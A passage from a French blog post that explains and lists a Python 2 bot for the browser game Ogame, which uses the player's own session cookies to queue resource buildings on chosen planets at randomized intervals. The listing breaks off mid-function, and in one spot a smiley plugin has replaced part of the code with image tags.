<li>Les Semaphores, pour éviter des requêtes en parallèle (pas apprécié par Ogame dans certain cas)</li>
</ul>
<p>Pour l&#8217;utiliser, il suffit ensuite d&#8217;ajouter au source qui vont suivre : </p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1">og = Ogame<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">og.<span class="me1">setSessionCookie</span><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;le contenu du cookie phpsessid de votre univers&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;le contenu du cookie prssess de votre univers&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;le contenu du cookie loginC de votre univers&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;le parametre de l&#39;url &amp;session=&#8230;&quot;</span>, </div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;uniXX.ogame.fr&quot;</span>votre<span class="co1">#univers</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">Farmer.<span class="me1">buildInChainsPlanets</span><span class="br0">&#40;</span>og,<span class="br0">&#91;</span><span class="st0">&quot;id planete&quot;</span>,<span class="st0">&quot;id planete&quot;</span><span class="br0">&#93;</span>,<span class="br0">&#91;</span><span class="br0">&#91;</span><span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span><span class="br0">&#93;</span>,<span class="br0">&#91;</span><span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span><span class="br0">&#93;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>le premier paramètre de buildInChainsPlanets est l&#8217;objet og<br />
le second est un tableau de string contenant l&#8217;id des planètes à &laquo;&nbsp;farmer&nbsp;&raquo;<br />
le troisième est un tableau de tableau contenant les séquences des batiments à construire :<br />
1 pour le metal 2 pour le cristal 3 pour le deuterium 4 pour l&#8217;electricite.</p>
<p>Et voilà &#8230; lorsque vous aurez conquis une planète rajoutez-là au tableau ainsi que la séquence de batiments que vous voulez, puis laissez tourner le script plusieurs jours (faite gaffe avec les sessions qui risque de changer si vous vous reconnectez avec votre navigateur).<br />
<span id="more-630"></span></p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># -*- coding:Utf-8 -*-</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> <span class="kw3">threading</span> <span class="kw1">import</span> Thread</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> <span class="kw3">threading</span> <span class="kw1">import</span> Semaphore</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">random</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">httplib</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">time</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">re</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> Ogame:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">userAgent</span> = <span class="st0">&quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.3a1pre) Gecko/20091021 Ubuntu/9.10 (karmic) Minefield/3.7a1pre&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">login</span> &nbsp; &nbsp; = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">password</span> &nbsp;= <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">PHPSessId</span> = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">prSess</span> &nbsp; &nbsp;= <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">loginString</span>= <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">session</span> &nbsp; = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">urlGame</span> &nbsp; = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">univers</span> &nbsp; = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">cookie</span> &nbsp; &nbsp;= <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">referer</span> = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> setSessionCookie<span class="br0">&#40;</span><span class="kw2">self</span>,sessid=<span class="st0">&quot;&quot;</span>,prsess=<span class="st0">&quot;&quot;</span>,loginString=<span class="st0">&quot;&quot;</span>,session=<span class="st0">&quot;&quot;</span>,univers=<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">PHPSessId</span> = sessid</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">prSess</span> &nbsp; &nbsp;= prsess</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">loginString</span>= loginString</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">session</span> &nbsp; = session</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">urlGame</span> &nbsp; = <span class="st0">&quot;/game/index.php?page=overview&amp;session=&quot;</span>+session</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">univers</span> &nbsp; = univers</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">cookie</span> &nbsp; &nbsp;= <span class="st0">&quot;PHPSESSID=&quot;</span>+<span class="kw2">self</span>.<span class="me1">PHPSessId</span>+<span class="st0">&quot;;prsess_165647=&quot;</span>+<span class="kw2">self</span>.<span class="me1">prSess</span>+<span class="st0">&quot;;login_165647=&quot;</span>+<span class="kw2">self</span>.<span class="me1">loginString</span>+<span class="st0">&quot;;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">referer</span> = <span class="st0">&quot;http://&quot;</span>+<span class="kw2">self</span>.<span class="me1">univers</span>+<span class="kw2">self</span>.<span class="me1">urlGame</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> getPlanetResource<span class="br0">&#40;</span><span class="kw2">self</span>,<span class="kw2">id</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; op = OgamePlanet<span class="br0">&#40;</span><span class="kw2">self</span>,<span class="kw2">id</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> op.<span class="me1">getResource</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> planetAddBuilding<span class="br0">&#40;</span><span class="kw2">self</span>,<span class="kw2">id</span>,batiment<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; op = OgamePlanet<span class="br0">&#40;</span><span class="kw2">self</span>,<span class="kw2">id</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> op.<span class="me1">addBuilding</span><span class="br0">&#40;</span>batiment<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> OgamePlanet:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,ogame,<span class="kw2">id</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">planetId</span>=<span class="kw2">id</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">ogame</span>=ogame</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">res</span>=<span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> getPlanets<span class="br0">&#40;</span>ogame<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht = <span class="kw3">httplib</span>.<span class="me1">HTTPConnection</span><span class="br0">&#40;</span>ogame.<span class="me1">univers</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">request</span><span class="br0">&#40;</span><span class="st0">&quot;GET&quot;</span>,ogame.<span class="me1">urlGame</span>,<span class="br0">&#123;</span><span class="br0">&#125;</span>,<span class="br0">&#123;</span><span class="st0">&quot;Cookie&quot;</span> <img src='http://cdn-blog-loupzeur.appspot.com/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> game.<span class="me1">cookie</span>,<span class="st0">&quot;User-Agent&quot;</span> <img src='http://cdn-blog-loupzeur.appspot.com/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> game.<span class="me1">userAgent</span>,<span class="st0">&quot;Referer&quot;</span> <img src='http://cdn-blog-loupzeur.appspot.com/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> game.<span class="me1">referer</span><span class="br0">&#125;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; rq=ht.<span class="me1">getresponse</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; data=rq.<span class="me1">read</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">select</span>=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;&lt;select[^&gt;]*&gt;([<span class="es0">\w</span><span class="es0">\W</span><span class="es0">\n</span><span class="es0">\t</span><span class="es0">\r</span>]*)&lt;/select&gt;&quot;</span>,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; res=<span class="kw3">re</span>.<span class="me1">findall</span><span class="br0">&#40;</span><span class="st0">&quot;&amp;cp=([^&amp;]*)&amp;[^&gt;]*&gt;([^&lt;]*)&lt;.*<span class="es0">\[</span>([^<span class="es0">\]</span>]*)<span class="es0">\]</span>&quot;</span>,<span class="kw3">select</span>.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> res</div>
</li>
<li class="li1">
<div class="de1">&nbsp;getPlanets = <span class="kw2">staticmethod</span><span class="br0">&#40;</span>getPlanets<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> getResource<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; reque=<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">urlGame</span>+<span class="st0">&quot;&amp;cp=&quot;</span>+<span class="kw2">self</span>.<span class="me1">planetId</span>+<span class="st0">&quot;&amp;mode=&amp;gid=&amp;messageziel=&amp;re=0&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht = <span class="kw3">httplib</span>.<span class="me1">HTTPConnection</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">univers</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">request</span><span class="br0">&#40;</span><span class="st0">&quot;GET&quot;</span>,reque,<span class="br0">&#123;</span><span class="br0">&#125;</span>,<span class="br0">&#123;</span><span class="st0">&quot;Cookie&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">cookie</span>,<span class="st0">&quot;User-Agent&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">userAgent</span>,<span class="st0">&quot;Referer&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">referer</span><span class="br0">&#125;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">referer</span>=reque</div>
</li>
<li class="li1">
<div class="de1">&nbsp; rq=ht.<span class="me1">getresponse</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; data=rq.<span class="me1">read</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; table=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;&lt;table class=&#39;header&#39; id=&#39;resources&#39;[^&gt;]*&gt;([<span class="es0">\w</span><span class="es0">\W</span><span class="es0">\n</span><span class="es0">\t</span><span class="es0">\r</span>]*?)&lt;/table&gt;&quot;</span>,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; res=<span class="kw3">re</span>.<span class="me1">findall</span><span class="br0">&#40;</span><span class="st0">&quot;&lt;font[^&gt;]*&gt;([.0-9]*)&lt;/font&gt;&quot;</span>,table.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">res</span>=res</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> res</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="co1">#1 metal 2 cristal 3 deuterium 4 electricite</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> addBuilding<span class="br0">&#40;</span><span class="kw2">self</span>, batiment<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht = <span class="kw3">httplib</span>.<span class="me1">HTTPConnection</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">univers</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; url = <span class="st0">&quot;/game/index.php?page=b_building&amp;session=&quot;</span>+<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">session</span>+<span class="st0">&quot;&amp;cp=&quot;</span>+<span class="kw2">self</span>.<span class="me1">planetId</span>+<span class="st0">&quot;&amp;mode=&amp;gid=&amp;messageziel=&amp;re=0&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">request</span><span class="br0">&#40;</span><span class="st0">&quot;GET&quot;</span>,url,<span class="br0">&#123;</span><span class="br0">&#125;</span>,<span class="br0">&#123;</span><span class="st0">&quot;Cookie&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">cookie</span>,<span class="st0">&quot;User-Agent&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">userAgent</span>,<span class="st0">&quot;Referer&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">referer</span><span class="br0">&#125;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; rq=ht.<span class="me1">getresponse</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; data = rq.<span class="me1">read</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; link=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;modus=add&amp;techid=&quot;</span>+batiment,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">if</span> <span class="kw2">str</span><span class="br0">&#40;</span>link<span class="br0">&#41;</span> == <span class="st0">&quot;None&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;ti=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;pp=&#39;([0-9]+)&#39;;&quot;</span>,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="kw2">str</span><span class="br0">&#40;</span>ti<span class="br0">&#41;</span><span class="sy0">!</span>=<span class="st0">&quot;None&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; tps = ti.<span class="me1">groups</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> &#8211; <span class="kw2">int</span><span class="br0">&#40;</span>tps<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="co1">#just to say that another things is being constructed Need to change farmer</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">else</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">-3</span><span class="co1">#Don&#39;t get the url to create building</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span><span class="kw3">random</span>.<span class="me1">randint</span><span class="br0">&#40;</span><span class="nu0">1</span>,<span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; reque=<span class="st0">&quot;/game/index.php?page=b_building&amp;session=&quot;</span>+<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">session</span>+<span class="st0">&quot;&amp;modus=add&amp;techid=&quot;</span>+batiment+<span class="st0">&quot;&amp;planet=&quot;</span>+<span class="kw2">self</span>.<span class="me1">planetId</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">request</span><span class="br0">&#40;</span><span class="st0">&quot;GET&quot;</span>,reque,<span class="br0">&#123;</span><span class="br0">&#125;</span>,<span class="br0">&#123;</span><span class="st0">&quot;Cookie&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">cookie</span>,<span class="st0">&quot;User-Agent&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">userAgent</span>,<span class="st0">&quot;Referer&quot;</span>:url<span class="br0">&#125;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">referer</span>=reque</div>
</li>
<li class="li1">
<div class="de1">&nbsp; rq=ht.<span class="me1">getresponse</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; data=rq.<span class="me1">read</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; link=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;modus=add&amp;techid=&quot;</span>+batiment,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">if</span> <span class="kw2">str</span><span class="br0">&#40;</span>link<span class="br0">&#41;</span> == <span class="st0">&quot;None&quot;</span>:<span class="co1">#no link so it&#39;s OK</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;ti=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;pp=&#39;([0-9]+)&#39;;&quot;</span>,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="kw2">str</span><span class="br0">&#40;</span>ti<span class="br0">&#41;</span><span class="sy0">!</span>=<span class="st0">&quot;None&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; tps = ti.<span class="me1">groups</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> tps<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">else</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">-1</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">else</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">-2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">#Farming function &#8230;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> Farmer<span class="br0">&#40;</span>Thread<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,og,planet,batiments<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; Thread.<span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">og</span> = og</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">planet</span> = planet</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">batiments</span> = batiments</div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> run<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">for</span> batiment <span class="kw1">in</span> <span class="kw2">self</span>.<span class="me1">batiments</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw2">self</span>.<span class="me1">sec</span>=<span class="nu0">-1</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">print</span> <span class="st0">&quot;On contruit un batiment : &quot;</span>+<span class="kw2">str</span><span class="br0">&#40;</span>batiment<span class="br0">&#41;</span>+<span class="st0">&quot; sur : &quot;</span>+<span class="kw2">self</span>.<span class="me1">planet</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">while</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">sec</span><span class="sy0">&lt;</span><span class="nu0">0</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">sec</span> = <span class="kw2">self</span>.<span class="me1">og</span>.<span class="me1">planetAddBuilding</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">planet</span>,<span class="kw2">str</span><span class="br0">&#40;</span>batiment<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">self</span>.<span class="me1">sec</span><span class="sy0">&lt;</span><span class="nu0">0</span> <span class="kw1">and</span> <span class="kw2">self</span>.<span class="me1">sec</span><span class="sy0">&gt;</span><span class="nu0">-4</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;addTime=<span class="nu0">360</span> + <span class="kw3">random</span>.<span class="me1">randint</span><span class="br0">&#40;</span><span class="nu0">10</span>,<span class="nu0">120</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw1">print</span> <span class="st0">&quot;Ajout d&#39;un temps additionnel de &quot;</span>+<span class="kw2">str</span><span class="br0">&#40;</span>addTime<span class="br0">&#41;</span>+<span class="st0">&quot; sec(s) avant le prochain batiment&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span>addTime<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">elif</span> <span class="kw2">self</span>.<span class="me1">sec</span><span class="sy0">&lt;</span><span class="nu0">-4</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw1">print</span> <span class="st0">&quot;Un batiment est déjà en construction pour encore &quot;</span>+<span class="kw2">str</span><span class="br0">&#40;</span>-<span class="kw2">self</span>.<span class="me1">sec</span><span class="br0">&#41;</span>+<span class="st0">&quot; sec(s)&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span>-<span class="kw2">self</span>.<span class="me1">sec</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">else</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw1">print</span> <span class="st0">&quot;On va attendre &quot;</span>+<span class="kw2">str</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">sec</span><span class="br0">&#41;</span>+<span class="st0">&quot; secondes avant le prochain batiment&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span><span class="kw2">float</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">sec</span><span class="br0">&#41;</span><span class="nu0">+2</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> buildInChainsPlanets<span class="br0">&#40;</span>og,planets,batiments<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">list</span>=<span class="br0">&#91;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="co1">#maxCon = 1 default 1 ^^</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; pool_sema = Semaphore<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">for</span> index,planet <span class="kw1">in</span> <span class="kw2">enumerate</span><span class="br0">&#40;</span>planets<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;pool_sema.<span class="me1">acquire</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;tmp = Farmer<span class="br0">&#40;</span>og,planet,batiments<span class="br0">&#91;</span>index<span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw2">list</span>.<span class="me1">append</span><span class="br0">&#40;</span>tmp<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;tmp.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
